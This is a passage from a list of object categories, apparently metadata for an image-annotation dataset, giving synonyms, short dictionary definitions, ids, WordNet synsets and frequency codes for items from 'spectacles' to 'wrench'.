'synset': 'spectacles.n.01', 'name': 'spectacles', 'frequency': 'f'}, {'synonyms': ['spice_rack'], 'def': 'a rack for displaying containers filled with spices', 'id': 698, 'synset': 'spice_rack.n.01', 'name': 'spice_rack', 'frequency': 'c'}, {'synonyms': ['spider'], 'def': 'predatory arachnid with eight legs, two poison fangs, two feelers, and usually two silk-spinning organs at the back end of the body', 'id': 699, 'synset': 'spider.n.01', 'name': 'spider', 'frequency': 'c'}, {'synonyms': ['sponge'], 'def': 'a porous mass usable to absorb water typically used for cleaning', 'id': 700, 'synset': 'sponge.n.01', 'name': 'sponge', 'frequency': 'c'}, {'synonyms': ['spoon'], 'def': 'a piece of cutlery with a shallow bowl-shaped container and a handle', 'id': 701, 'synset': 'spoon.n.01', 'name': 'spoon', 'frequency': 'f'}, {'synonyms': ['sportswear', 'athletic_wear', 'activewear'], 'def': 'attire worn for sport or for casual wear', 'id': 702, 'synset': 'sportswear.n.01', 'name': 'sportswear', 'frequency': 'c'}, {'synonyms': ['spotlight'], 'def': 'a lamp that produces a strong beam of light to illuminate a restricted area; used to focus attention of a stage performer', 'id': 703, 'synset': 'spotlight.n.02', 'name': 'spotlight', 'frequency': 'c'}, {'synonyms': ['squirrel'], 'def': 'a kind of arboreal rodent having a long bushy tail', 'id': 704, 'synset': 'squirrel.n.01', 'name': 'squirrel', 'frequency': 'c'}, {'synonyms': ['stapler_(stapling_machine)'], 'def': 'a machine that inserts staples into sheets of paper in order to fasten them together', 'id': 705, 'synset': 'stapler.n.01', 'name': 'stapler_(stapling_machine)', 'frequency': 'c'}, {'synonyms': ['starfish', 'sea_star'], 'def': 'echinoderms characterized by five arms extending from a central disk', 'id': 706, 'synset': 'starfish.n.01', 'name': 'starfish', 'frequency': 'c'}, {'synonyms': ['statue_(sculpture)'], 'def': 'a sculpture representing a human or animal', 'id': 707, 'synset': 'statue.n.01', 'name': 'statue_(sculpture)', 'frequency': 'f'}, {'synonyms': ['steak_(food)'], 'def': 'a slice of meat cut from the fleshy part of an animal or large fish', 'id': 708, 'synset': 'steak.n.01', 'name': 'steak_(food)', 'frequency': 'c'}, {'synonyms': ['steering_wheel'], 'def': 'a handwheel that is used for steering', 'id': 709, 'synset': 'steering_wheel.n.01', 'name': 'steering_wheel', 'frequency': 'f'}, {'synonyms': ['step_stool'], 'def': 'a stool that has one or two steps that fold under the seat', 'id': 710, 'synset': 'step_stool.n.01', 'name': 'step_stool', 'frequency': 'c'}, {'synonyms': ['stereo_(sound_system)'], 'def': 'electronic device for playing audio', 'id': 711, 'synset': 'stereo.n.01', 'name': 'stereo_(sound_system)', 'frequency': 'c'}, {'synonyms': ['stirrup'], 'def': "support consisting of metal loops into which rider's feet go", 'id': 712, 'synset': 'stirrup.n.01', 'name': 'stirrup', 'frequency': 'f'}, {'synonyms': ['stool'], 'def': 'a simple seat without a back or arms', 'id': 713, 'synset': 'stool.n.01', 'name': 'stool', 'frequency': 'f'}, {'synonyms': ['stop_sign'], 'def': 'a traffic sign to notify drivers that they must come to a complete stop', 'id': 714, 'synset': 'stop_sign.n.01', 'name': 'stop_sign', 'frequency': 'f'}, {'synonyms': ['brake_light'], 'def': 'a red light on the rear of a motor vehicle that signals when the brakes are applied', 'id': 715, 'synset': 'stoplight.n.01', 'name': 'brake_light', 'frequency': 'f'}, {'synonyms': ['stove', 'kitchen_stove', 'range_(kitchen_appliance)', 'kitchen_range', 'cooking_stove'], 'def': 'a kitchen appliance used for cooking food', 'id': 716, 'synset': 'stove.n.01', 'name': 'stove', 'frequency': 'f'}, {'synonyms': ['strainer'], 'def': 'a filter to retain larger pieces while smaller pieces and liquids pass through', 'id': 717, 'synset': 'strainer.n.01', 'name': 'strainer', 'frequency': 'c'}, {'synonyms': ['strap'], 'def': 'an elongated strip of material for binding things together or holding', 'id': 718, 'synset': 'strap.n.01', 'name': 'strap', 'frequency': 'f'}, {'synonyms': ['straw_(for_drinking)', 'drinking_straw'], 'def': 'a thin paper or plastic tube used to suck liquids into the mouth', 'id': 719, 'synset': 'straw.n.04', 'name': 'straw_(for_drinking)', 'frequency': 'f'}, {'synonyms': ['strawberry'], 'def': 'sweet fleshy red fruit', 'id': 720, 'synset': 'strawberry.n.01', 'name': 'strawberry', 'frequency': 'f'}, {'synonyms': ['street_sign'], 'def': 'a sign visible from the street', 'id': 721, 'synset': 'street_sign.n.01', 'name': 'street_sign', 'frequency': 'f'}, {'synonyms': ['streetlight', 'street_lamp'], 'def': 'a lamp supported on a lamppost; for illuminating a street', 'id': 722, 'synset': 'streetlight.n.01', 'name': 'streetlight', 'frequency': 'f'}, {'synonyms': ['suit_(clothing)'], 'def': 'a set of garments (usually including a jacket and trousers or skirt) for outerwear all of the same fabric and color', 'id': 723, 'synset': 'suit.n.01', 'name': 'suit_(clothing)', 'frequency': 'f'}, {'synonyms': ['sunflower'], 'def': 'any plant of the genus Helianthus having large flower heads with dark disk florets and showy yellow rays', 'id': 724, 'synset': 'sunflower.n.01', 'name': 'sunflower', 'frequency': 'c'}, {'synonyms': ['sunglasses'], 'def': 'spectacles that are darkened or polarized to protect the eyes from the glare of the sun', 'id': 725, 'synset': 'sunglasses.n.01', 'name': 'sunglasses', 'frequency': 'f'}, {'synonyms': ['sunhat'], 'def': 'a hat with a broad brim that protects the face from direct exposure to the sun', 'id': 726, 'synset': 'sunhat.n.01', 'name': 'sunhat', 'frequency': 'c'}, {'synonyms': ['surfboard'], 'def': 'a narrow buoyant board for riding surf', 'id': 727, 'synset': 'surfboard.n.01', 'name': 'surfboard', 'frequency': 'f'}, {'synonyms': ['sushi'], 'def': 'rice (with raw fish) wrapped in seaweed', 'id': 728, 'synset': 'sushi.n.01', 'name': 'sushi', 'frequency': 'c'}, {'synonyms': ['mop'], 'def': 'cleaning implement consisting of absorbent material fastened to a handle; for cleaning floors', 'id': 729, 'synset': 'swab.n.02', 'name': 'mop', 'frequency': 'c'}, {'synonyms': ['sweat_pants'], 'def': 'loose-fitting trousers with elastic cuffs; worn by athletes', 'id': 730, 'synset': 'sweat_pants.n.01', 'name': 'sweat_pants', 'frequency': 'c'}, {'synonyms': ['sweatband'], 'def': 'a band of material tied around the forehead or wrist to absorb sweat', 'id': 731, 'synset': 'sweatband.n.02', 'name': 'sweatband', 'frequency': 'c'}, {'synonyms': ['sweater'], 'def': 'a crocheted or knitted garment covering the upper part of the body', 'id': 732, 'synset': 'sweater.n.01', 'name': 'sweater', 'frequency': 'f'}, {'synonyms': ['sweatshirt'], 'def': 'cotton knit pullover with long sleeves worn during athletic activity', 'id': 733, 'synset': 'sweatshirt.n.01', 'name': 'sweatshirt', 'frequency': 'f'}, {'synonyms': ['sweet_potato'], 'def': 'the edible tuberous root of the sweet potato vine', 'id': 734, 'synset': 'sweet_potato.n.02', 'name': 'sweet_potato', 'frequency': 'c'}, {'synonyms': ['swimsuit', 'swimwear', 'bathing_suit', 'swimming_costume', 'bathing_costume', 'swimming_trunks', 'bathing_trunks'], 'def': 'garment worn for swimming', 'id': 735, 'synset': 'swimsuit.n.01', 'name': 'swimsuit', 'frequency': 'f'}, {'synonyms': ['sword'], 'def': 'a cutting or thrusting weapon that has a long metal blade', 'id': 736, 'synset': 'sword.n.01', 'name': 'sword', 'frequency': 'c'}, {'synonyms': ['table'], 'def': 'a piece of furniture having a smooth flat top that is usually supported by one or more vertical legs', 'id': 737, 'synset': 'table.n.02', 'name': 'table', 'frequency': 'f'}, {'synonyms': ['table_lamp'], 'def': 'a lamp that sits on a table', 'id': 738, 'synset': 'table_lamp.n.01', 'name': 'table_lamp', 'frequency': 'c'}, {'synonyms': ['tablecloth'], 'def': 'a covering spread over a dining table', 'id': 739, 'synset': 'tablecloth.n.01', 'name': 'tablecloth', 'frequency': 'f'}, {'synonyms': ['tag'], 'def': 'a label associated with something for the purpose of identification or information', 'id': 740, 'synset': 'tag.n.02', 'name': 'tag', 'frequency': 'f'}, {'synonyms': ['taillight', 'rear_light'], 'def': 'lamp (usually red) mounted at the rear of a motor vehicle', 'id': 741, 'synset': 'taillight.n.01', 'name': 'taillight', 'frequency': 'f'}, {'synonyms': ['tank_(storage_vessel)', 'storage_tank'], 'def': 'a large (usually metallic) vessel for holding gases or liquids', 'id': 742, 'synset': 'tank.n.02', 'name': 'tank_(storage_vessel)', 'frequency': 'f'}, {'synonyms': ['tank_top_(clothing)'], 'def': 'a tight-fitting sleeveless shirt with wide shoulder straps and low neck and no front opening', 'id': 743, 'synset': 'tank_top.n.01', 'name': 'tank_top_(clothing)', 'frequency': 'f'}, {'synonyms': ['tape_(sticky_cloth_or_paper)'], 'def': 'a long thin piece of cloth or paper as used for binding or fastening', 'id': 744, 'synset': 'tape.n.01', 'name': 'tape_(sticky_cloth_or_paper)', 'frequency': 'f'}, {'synonyms': ['tape_measure', 'measuring_tape'], 'def': 'measuring instrument consisting of a narrow strip (cloth or metal) marked in inches or centimeters and used for measuring lengths', 'id': 745, 'synset': 'tape.n.04', 'name': 'tape_measure', 'frequency': 'c'}, {'synonyms': ['tapestry'], 'def': 'a heavy textile with a woven design; used for curtains and upholstery', 'id': 746, 'synset': 'tapestry.n.02', 'name': 'tapestry', 'frequency': 'c'}, {'synonyms': ['tarp'], 'def': 'waterproofed canvas', 'id': 747, 'synset': 'tarpaulin.n.01', 'name': 'tarp', 'frequency': 'f'}, {'synonyms': ['tartan', 'plaid'], 'def': 'a cloth having a crisscross design', 'id': 748, 'synset': 'tartan.n.01', 'name': 'tartan', 'frequency': 'c'}, {'synonyms': ['tassel'], 'def': 'adornment consisting of a bunch of cords fastened at one end', 'id': 749, 'synset': 'tassel.n.01', 'name': 'tassel', 'frequency': 'c'}, {'synonyms': ['tea_bag'], 'def': 'a measured amount of tea in a bag for an individual serving of tea', 'id': 750, 'synset': 'tea_bag.n.01', 'name': 'tea_bag', 'frequency': 'c'}, {'synonyms': ['teacup'], 'def': 'a cup from which tea is drunk', 'id': 751, 'synset': 'teacup.n.02', 'name': 'teacup', 'frequency': 'c'}, {'synonyms': ['teakettle'], 'def': 'kettle for boiling water to make tea', 'id': 752, 'synset': 'teakettle.n.01', 'name': 'teakettle', 'frequency': 'c'}, {'synonyms': ['teapot'], 'def': 'pot for brewing tea; usually has a spout and handle', 'id': 753, 'synset': 'teapot.n.01', 'name': 'teapot', 'frequency': 'f'}, {'synonyms': ['teddy_bear'], 'def': "plaything consisting of a child's toy bear (usually plush and stuffed with soft materials)", 'id': 754, 'synset': 'teddy.n.01', 'name': 'teddy_bear', 'frequency': 'f'}, {'synonyms': ['telephone', 'phone', 'telephone_set'], 'def': 'electronic device for communicating by voice over long distances (includes wired and wireless/cell phones)', 'id': 755, 'synset': 'telephone.n.01', 'name': 'telephone', 'frequency': 'f'}, {'synonyms': ['telephone_booth', 'phone_booth', 'call_box', 'telephone_box', 'telephone_kiosk'], 'def': 'booth for using a telephone', 'id': 756, 'synset': 'telephone_booth.n.01', 'name': 'telephone_booth', 'frequency': 'c'}, {'synonyms': ['telephone_pole', 'telegraph_pole', 'telegraph_post'], 'def': 'tall pole supporting telephone wires', 'id': 757, 'synset': 'telephone_pole.n.01', 'name': 'telephone_pole', 'frequency': 'f'}, {'synonyms': ['television_camera', 'tv_camera'], 'def': 'television equipment for capturing and recording video', 'id': 758, 'synset': 'television_camera.n.01', 'name': 'television_camera', 'frequency': 'c'}, {'synonyms': ['television_set', 'tv', 'tv_set'], 'def': 'an electronic device that receives television signals and displays them on a screen', 'id': 759, 'synset': 'television_receiver.n.01', 'name': 'television_set', 'frequency': 'f'}, {'synonyms': ['tennis_ball'], 'def': 'ball about the size of a fist used in playing tennis', 'id': 760, 'synset': 'tennis_ball.n.01', 'name': 'tennis_ball', 'frequency': 'f'}, {'synonyms': ['tennis_racket'], 'def': 'a racket used to play tennis', 'id': 761, 'synset': 'tennis_racket.n.01', 'name': 'tennis_racket', 'frequency': 'f'}, {'synonyms': ['thermometer'], 'def': 'measuring instrument for measuring temperature', 'id': 762, 'synset': 'thermometer.n.01', 'name': 'thermometer', 'frequency': 'c'}, {'synonyms': ['thermos_bottle'], 'def': 'vacuum flask that preserves temperature of hot or cold drinks', 'id': 763, 'synset': 'thermos.n.01', 'name': 'thermos_bottle', 'frequency': 'c'}, {'synonyms': ['thermostat'], 'def': 'a regulator for automatically regulating temperature by starting or stopping the supply of heat', 'id': 764, 'synset': 'thermostat.n.01', 'name': 'thermostat', 'frequency': 'f'}, {'synonyms': ['thread', 'yarn'], 'def': 'a fine cord of twisted fibers (of cotton or silk or wool or nylon etc.) used in sewing and weaving', 'id': 765, 'synset': 'thread.n.01', 'name': 'thread', 'frequency': 'c'}, {'synonyms': ['thumbtack', 'drawing_pin', 'pushpin'], 'def': 'a tack for attaching papers to a bulletin board or drawing board', 'id': 766, 'synset': 'thumbtack.n.01', 'name': 'thumbtack', 'frequency': 'c'}, {'synonyms': ['tiara'], 'def': 'a jeweled headdress worn by women on formal occasions', 'id': 767, 'synset': 'tiara.n.01', 'name': 'tiara', 'frequency': 'c'}, {'synonyms': ['tiger'], 'def': 'large feline of forests in most of Asia having a tawny coat with black stripes', 'id': 768, 'synset': 'tiger.n.02', 'name': 'tiger', 'frequency': 'c'}, {'synonyms': ['tights_(clothing)', 'leotards'], 'def': 'skintight knit hose covering the body from the waist to the feet worn by acrobats and dancers and as stockings by women and girls', 'id': 769, 'synset': 'tights.n.01', 'name': 'tights_(clothing)', 'frequency': 'c'}, {'synonyms': ['timer', 'stopwatch'], 'def': 'a timepiece that measures a time interval and signals its end', 'id': 770, 'synset': 'timer.n.01', 'name': 'timer', 'frequency': 'c'}, {'synonyms': ['tinfoil'], 'def': 'foil made of tin or an alloy of tin and lead', 'id': 771, 'synset': 'tinfoil.n.01', 'name': 'tinfoil', 'frequency': 'f'}, {'synonyms': ['tinsel'], 'def': 'a showy decoration that is basically valueless', 'id': 772, 'synset': 'tinsel.n.01', 'name': 'tinsel', 'frequency': 'c'}, {'synonyms': ['tissue_paper'], 'def': 'a soft thin (usually translucent) paper', 'id': 773, 'synset': 'tissue.n.02', 'name': 'tissue_paper', 'frequency': 'f'}, {'synonyms': ['toast_(food)'], 'def': 'slice of bread that has been toasted', 'id': 774, 'synset': 'toast.n.01', 'name': 'toast_(food)', 'frequency': 'c'}, {'synonyms': ['toaster'], 'def': 'a kitchen appliance (usually electric) for toasting bread', 'id': 775, 'synset': 'toaster.n.02', 'name': 'toaster', 'frequency': 'f'}, {'synonyms': ['toaster_oven'], 'def': 'kitchen appliance consisting of a small electric oven for toasting or warming food', 'id': 776, 'synset': 'toaster_oven.n.01', 'name': 'toaster_oven', 'frequency': 'f'}, {'synonyms': ['toilet'], 'def': 'a plumbing fixture for defecation and urination', 'id': 777, 'synset': 'toilet.n.02', 'name': 'toilet', 'frequency': 'f'}, {'synonyms': ['toilet_tissue', 'toilet_paper', 'bathroom_tissue'], 'def': 'a soft thin absorbent paper for use in toilets', 'id': 778, 'synset': 'toilet_tissue.n.01', 'name': 'toilet_tissue', 'frequency': 'f'}, {'synonyms': ['tomato'], 'def': 'mildly acid red or yellow pulpy fruit eaten as a vegetable', 'id': 779, 'synset': 'tomato.n.01', 'name': 'tomato', 'frequency': 'f'}, {'synonyms': ['tongs'], 'def': 'any of various devices for taking hold of objects; usually have two hinged legs with handles above and pointed hooks below', 'id': 780, 'synset': 'tongs.n.01', 'name': 'tongs', 'frequency': 'f'}, {'synonyms': ['toolbox'], 'def': 'a box or chest or cabinet for holding hand tools', 'id': 781, 'synset': 'toolbox.n.01', 'name': 'toolbox', 'frequency': 'c'}, {'synonyms': ['toothbrush'], 'def': 'small brush; has long handle; used to clean teeth', 'id': 782, 'synset': 'toothbrush.n.01', 'name': 'toothbrush', 'frequency': 'f'}, {'synonyms': ['toothpaste'], 'def': 'a dentifrice in the form of a paste', 'id': 783, 'synset': 'toothpaste.n.01', 'name': 'toothpaste', 'frequency': 'f'}, {'synonyms': ['toothpick'], 'def': 'pick consisting of a small strip of wood or plastic; used to pick food from between the teeth', 'id': 784, 'synset': 'toothpick.n.01', 'name': 'toothpick', 'frequency': 'f'}, {'synonyms': ['cover'], 'def': 'covering for a hole (especially a hole in the top of a container)', 'id': 785, 'synset': 'top.n.09', 'name': 'cover', 'frequency': 'f'}, {'synonyms': ['tortilla'], 'def': 'thin unleavened pancake made from cornmeal or wheat flour', 'id': 786, 'synset': 'tortilla.n.01', 'name': 'tortilla', 'frequency': 'c'}, {'synonyms': ['tow_truck'], 'def': 'a truck equipped to hoist and pull wrecked cars (or to remove cars from no-parking zones)', 'id': 787, 'synset': 'tow_truck.n.01', 'name': 'tow_truck', 'frequency': 'c'}, {'synonyms': ['towel'], 'def': 'a rectangular piece of absorbent cloth (or paper) for drying or wiping', 'id': 788, 'synset': 'towel.n.01', 'name': 'towel', 'frequency': 'f'}, {'synonyms': ['towel_rack', 'towel_rail', 'towel_bar'], 'def': 'a rack consisting of one or more bars on which towels can be hung', 'id': 789, 'synset': 'towel_rack.n.01', 'name': 'towel_rack', 'frequency': 'f'}, {'synonyms': ['toy'], 'def': 'a device regarded as providing amusement', 'id': 790, 'synset': 'toy.n.03', 'name': 'toy', 'frequency': 'f'}, {'synonyms': ['tractor_(farm_equipment)'], 'def': 'a wheeled vehicle with large wheels; used in farming and other applications', 'id': 791, 'synset': 'tractor.n.01', 'name': 'tractor_(farm_equipment)', 'frequency': 'c'}, {'synonyms': ['traffic_light'], 'def': 'a device to control vehicle traffic often consisting of three or more lights', 'id': 792, 'synset': 'traffic_light.n.01', 'name': 'traffic_light', 'frequency': 'f'}, {'synonyms': ['dirt_bike'], 'def': 'a lightweight motorcycle equipped with rugged tires and suspension for off-road use', 'id': 793, 'synset': 'trail_bike.n.01', 'name': 'dirt_bike', 'frequency': 'c'}, {'synonyms': ['trailer_truck', 'tractor_trailer', 'trucking_rig', 'articulated_lorry', 'semi_truck'], 'def': 'a truck consisting of a tractor and trailer together', 'id': 794, 'synset': 'trailer_truck.n.01', 'name': 'trailer_truck', 'frequency': 'f'}, {'synonyms': ['train_(railroad_vehicle)', 'railroad_train'], 'def': 'public or private transport provided by a line of railway cars coupled together and drawn by a locomotive', 'id': 795, 'synset': 'train.n.01', 'name': 'train_(railroad_vehicle)', 'frequency': 'f'}, {'synonyms': ['tray'], 'def': 'an open receptacle for holding or displaying or serving articles or food', 'id': 796, 'synset': 'tray.n.01', 'name': 'tray', 'frequency': 'f'}, {'synonyms': ['tricycle'], 'def': 'a vehicle with three wheels that is moved by foot pedals', 'id': 797, 'synset': 'tricycle.n.01', 'name': 'tricycle', 'frequency': 'c'}, {'synonyms': ['tripod'], 'def': 'a three-legged rack used for support', 'id': 798, 'synset': 'tripod.n.01', 'name': 'tripod', 'frequency': 'f'}, {'synonyms': ['trousers', 'pants_(clothing)'], 'def': 'a garment extending from the waist to the knee or ankle, covering each leg separately', 'id': 799, 'synset': 'trouser.n.01', 'name': 'trousers', 'frequency': 'f'}, {'synonyms': ['truck'], 'def': 'an automotive vehicle suitable for hauling', 'id': 800, 'synset': 'truck.n.01', 'name': 'truck', 'frequency': 'f'}, {'synonyms': ['trunk'], 'def': 'luggage consisting of a large strong case used when traveling or for storage', 'id': 801, 'synset': 'trunk.n.02', 'name': 'trunk', 'frequency': 'c'}, {'synonyms': ['turban'], 'def': 'a traditional headdress consisting of a long scarf wrapped around the head', 'id': 802, 'synset': 'turban.n.01', 'name': 'turban', 'frequency': 'c'}, {'synonyms': ['turkey_(food)'], 'def': 'flesh of large domesticated fowl usually roasted', 'id': 803, 'synset': 'turkey.n.04', 'name': 'turkey_(food)', 'frequency': 'c'}, {'synonyms': ['turtle'], 'def': 'any of various aquatic and land reptiles having a bony shell and flipper-like limbs for swimming', 'id': 804, 'synset': 'turtle.n.02', 'name': 'turtle', 'frequency': 'c'}, {'synonyms': ['turtleneck_(clothing)', 'polo-neck'], 'def': 'a sweater or jersey with a high close-fitting collar', 'id': 805, 'synset': 'turtleneck.n.01', 'name': 'turtleneck_(clothing)', 'frequency': 'c'}, {'synonyms': ['typewriter'], 'def': 'hand-operated character printer for printing written messages one character at a time', 'id': 806, 'synset': 'typewriter.n.01', 'name': 'typewriter', 'frequency': 'c'}, {'synonyms': ['umbrella'], 'def': 'a lightweight handheld collapsible canopy', 'id': 807, 'synset': 'umbrella.n.01', 'name': 'umbrella', 'frequency': 'f'}, {'synonyms': ['underwear', 'underclothes', 'underclothing', 'underpants'], 'def': 'undergarment worn next to the skin and under the outer garments', 'id': 808, 'synset': 'underwear.n.01', 'name': 'underwear', 'frequency': 'f'}, {'synonyms': ['urinal'], 'def': 'a plumbing fixture (usually attached to the wall) used by men to urinate', 'id': 809, 'synset': 'urinal.n.01', 'name': 'urinal', 'frequency': 'f'}, {'synonyms': ['urn'], 'def': 'a large vase that usually has a pedestal or feet', 'id': 810, 'synset': 'urn.n.01', 'name': 'urn', 'frequency': 'c'}, {'synonyms': ['vacuum_cleaner'], 'def': 'an electrical home appliance that cleans by suction', 'id': 811, 'synset': 'vacuum.n.04', 'name': 'vacuum_cleaner', 'frequency': 'c'}, {'synonyms': ['vase'], 'def': 'an open jar of glass or porcelain used as an ornament or to hold flowers', 'id': 812, 'synset': 'vase.n.01', 'name': 'vase', 'frequency': 'f'}, {'synonyms': ['vending_machine'], 'def': 'a slot machine for selling goods', 'id': 813, 'synset': 'vending_machine.n.01', 'name': 'vending_machine', 'frequency': 'c'}, {'synonyms': ['vent', 'blowhole', 'air_vent'], 'def': 'a hole for the escape of gas or air', 'id': 814, 'synset': 'vent.n.01', 'name': 'vent', 'frequency': 'f'}, {'synonyms': ['vest', 'waistcoat'], 'def': "a man's sleeveless garment worn underneath a coat", 'id': 815, 'synset': 'vest.n.01', 'name': 'vest', 'frequency': 'f'}, {'synonyms': ['videotape'], 'def': 'a video recording made on magnetic tape', 'id': 816, 'synset': 'videotape.n.01', 'name': 'videotape', 'frequency': 'c'}, {'synonyms': ['volleyball'], 'def': 'an inflated ball used in playing volleyball', 'id': 817, 'synset': 'volleyball.n.02', 'name': 'volleyball', 'frequency': 'c'}, {'synonyms': ['waffle'], 'def': 'pancake batter baked in a waffle iron', 'id': 818, 'synset': 'waffle.n.01', 'name': 'waffle', 'frequency': 'c'}, {'synonyms': ['wagon'], 'def': 'any of various kinds of wheeled vehicles drawn by an animal or a tractor', 'id': 819, 'synset': 'wagon.n.01', 'name': 'wagon', 'frequency': 'c'}, {'synonyms': ['wagon_wheel'], 'def': 'a wheel of a wagon', 'id': 820, 'synset': 'wagon_wheel.n.01', 'name': 'wagon_wheel', 'frequency': 'c'}, {'synonyms': ['walking_stick'], 'def': 'a stick carried in the hand for support in walking', 'id': 821, 'synset': 'walking_stick.n.01', 'name': 'walking_stick', 'frequency': 'c'}, {'synonyms': ['wall_clock'], 'def': 'a clock mounted on a wall', 'id': 822, 'synset': 'wall_clock.n.01', 'name': 'wall_clock', 'frequency': 'c'}, {'synonyms': ['wall_socket', 'wall_plug', 'electric_outlet', 'electrical_outlet', 'outlet', 'electric_receptacle'], 'def': 'receptacle providing a place in a wiring system where current can be taken to run electrical devices', 'id': 823, 'synset': 'wall_socket.n.01', 'name': 'wall_socket', 'frequency': 'f'}, {'synonyms': ['wallet', 'billfold'], 'def': 'a pocket-size case for holding papers and paper money', 'id': 824, 'synset': 'wallet.n.01', 'name': 'wallet', 'frequency': 'f'}, {'synonyms': ['automatic_washer', 'washing_machine'], 'def': 'a home appliance for washing clothes and linens automatically', 'id': 825, 'synset': 'washer.n.03', 'name': 'automatic_washer', 'frequency': 'c'}, {'synonyms': ['watch', 'wristwatch'], 'def': 'a small, portable timepiece', 'id': 826, 'synset': 'watch.n.01', 'name': 'watch', 'frequency': 'f'}, {'synonyms': ['water_bottle'], 'def': 'a bottle for holding water', 'id': 827, 'synset': 'water_bottle.n.01', 'name': 'water_bottle', 'frequency': 'f'}, {'synonyms': ['water_cooler'], 'def': 'a device for cooling and dispensing drinking water', 'id': 828, 'synset': 'water_cooler.n.01', 'name': 'water_cooler', 'frequency': 'c'}, {'synonyms': ['water_faucet', 'water_tap', 'tap_(water_faucet)'], 'def': 'a faucet for drawing water from a pipe or cask', 'id': 829, 'synset': 'water_faucet.n.01', 'name': 'water_faucet', 'frequency': 'c'}, {'synonyms': ['water_jug'], 'def': 'a jug that holds water', 'id': 830, 'synset': 'water_jug.n.01', 'name': 'water_jug', 'frequency': 'c'}, {'synonyms': ['water_scooter', 'sea_scooter', 'jet_ski'], 'def': 'a motorboat resembling a motor scooter (NOT A SURFBOARD OR WATER SKI)', 'id': 831, 'synset': 'water_scooter.n.01', 'name': 'water_scooter', 'frequency': 'c'}, {'synonyms': ['water_ski'], 'def': 'broad ski for skimming over water towed by a speedboat (DO NOT MARK WATER)', 'id': 832, 'synset': 'water_ski.n.01', 'name': 'water_ski', 'frequency': 'c'}, {'synonyms': ['water_tower'], 'def': 'a large reservoir for water', 'id': 833, 'synset': 'water_tower.n.01', 'name': 'water_tower', 'frequency': 'c'}, {'synonyms': ['watering_can'], 'def': 'a container with a handle and a spout with a perforated nozzle; used to sprinkle water over plants', 'id': 834, 'synset': 'watering_can.n.01', 'name': 'watering_can', 'frequency': 'c'}, {'synonyms': ['watermelon'], 'def': 'large oblong or roundish melon with a hard green rind and sweet watery red or occasionally yellowish pulp', 'id': 835, 'synset': 'watermelon.n.02', 'name': 'watermelon', 'frequency': 'f'}, {'synonyms': ['weathervane', 'vane_(weathervane)', 'wind_vane'], 'def': 'mechanical device attached to an elevated structure; rotates freely to show the direction of the wind', 'id': 836, 'synset': 'weathervane.n.01', 'name': 'weathervane', 'frequency': 'f'}, {'synonyms': ['webcam'], 'def': 'a digital camera designed to take digital photographs and transmit them over the internet', 'id': 837, 'synset': 'webcam.n.01', 'name': 'webcam', 'frequency': 'c'}, {'synonyms': ['wedding_cake', 'bridecake'], 'def': 'a rich cake with two or more tiers and covered with frosting and decorations; served at a wedding reception', 'id': 838, 'synset': 'wedding_cake.n.01', 'name': 'wedding_cake', 'frequency': 'c'}, {'synonyms': ['wedding_ring', 'wedding_band'], 'def': 'a ring given to the bride and/or groom at the wedding', 'id': 839, 'synset': 'wedding_ring.n.01', 'name': 'wedding_ring', 'frequency': 'c'}, {'synonyms': ['wet_suit'], 'def': 'a close-fitting garment made of a permeable material; worn in cold water to retain body heat', 'id': 840, 'synset': 'wet_suit.n.01', 'name': 'wet_suit', 'frequency': 'f'}, {'synonyms': ['wheel'], 'def': 'a circular frame with spokes (or a solid disc) that can rotate on a shaft or axle', 'id': 841, 'synset': 'wheel.n.01', 'name': 'wheel', 'frequency': 'f'}, {'synonyms': ['wheelchair'], 'def': 'a movable chair mounted on large wheels', 'id': 842, 'synset': 'wheelchair.n.01', 'name': 'wheelchair', 'frequency': 'c'}, {'synonyms': ['whipped_cream'], 'def': 'cream that has been beaten until light and fluffy', 'id': 843, 'synset': 'whipped_cream.n.01', 'name': 'whipped_cream', 'frequency': 'c'}, {'synonyms': ['whistle'], 'def': 'a small wind instrument that produces a whistling sound by blowing into it', 'id': 844, 'synset': 'whistle.n.03', 'name': 'whistle', 'frequency': 'c'}, {'synonyms': ['wig'], 'def': 'hairpiece covering the head and made of real or synthetic hair', 'id': 845, 'synset': 'wig.n.01', 'name': 'wig', 'frequency': 'c'}, {'synonyms': ['wind_chime'], 'def': 'a decorative arrangement of pieces of metal or glass or pottery that hang together loosely so the wind can cause them to tinkle', 'id': 846, 'synset': 'wind_chime.n.01', 'name': 'wind_chime', 'frequency': 'c'}, {'synonyms': ['windmill'], 'def': 'A mill or turbine that is powered by wind', 'id': 847, 'synset': 'windmill.n.01', 'name': 'windmill', 'frequency': 'c'}, {'synonyms': ['window_box_(for_plants)'], 'def': 'a container for growing plants on a windowsill', 'id': 848, 'synset': 'window_box.n.01', 'name': 'window_box_(for_plants)', 'frequency': 'c'}, {'synonyms': ['windshield_wiper', 'windscreen_wiper', 'wiper_(for_windshield/screen)'], 'def': 'a mechanical device that cleans the windshield', 'id': 849, 'synset': 'windshield_wiper.n.01', 'name': 'windshield_wiper', 'frequency': 'f'}, {'synonyms': ['windsock', 'air_sock', 'air-sleeve', 'wind_sleeve', 'wind_cone'], 'def': 'a truncated cloth cone mounted on a mast/pole; shows wind direction', 'id': 850, 'synset': 'windsock.n.01', 'name': 'windsock', 'frequency': 'c'}, {'synonyms': ['wine_bottle'], 'def': 'a bottle for holding wine', 'id': 851, 'synset': 'wine_bottle.n.01', 'name': 'wine_bottle', 'frequency': 'f'}, {'synonyms': ['wine_bucket', 'wine_cooler'], 'def': 'a bucket of ice used to chill a bottle of wine', 'id': 852, 'synset': 'wine_bucket.n.01', 'name': 'wine_bucket', 'frequency': 'c'}, {'synonyms': ['wineglass'], 'def': 'a glass that has a stem and in which wine is served', 'id': 853, 'synset': 'wineglass.n.01', 'name': 'wineglass', 'frequency': 'f'}, {'synonyms': ['blinder_(for_horses)'], 'def': 'blinds that prevent a horse from seeing something on either side', 'id': 854, 'synset': 'winker.n.02', 'name': 'blinder_(for_horses)', 'frequency': 'f'}, {'synonyms': ['wok'], 'def': 'pan with a convex bottom; used for frying in Chinese cooking', 'id': 855, 'synset': 'wok.n.01', 'name': 'wok', 'frequency': 'c'}, {'synonyms': ['wooden_spoon'], 'def': 'a spoon made of wood', 'id': 856, 'synset': 'wooden_spoon.n.02', 'name': 'wooden_spoon', 'frequency': 'c'}, {'synonyms': ['wreath'], 'def': 'an arrangement of flowers, leaves, or stems fastened in a ring', 'id': 857, 'synset': 'wreath.n.01', 'name': 'wreath', 'frequency': 'c'}, {'synonyms': ['wrench', 'spanner'], 'def': 'a hand tool that is used to hold or twist a nut or bolt', 'id': 858, 'synset': 'wrench.n.03', 'name': 'wrench', 'frequency': 'c'}, {'synonyms': 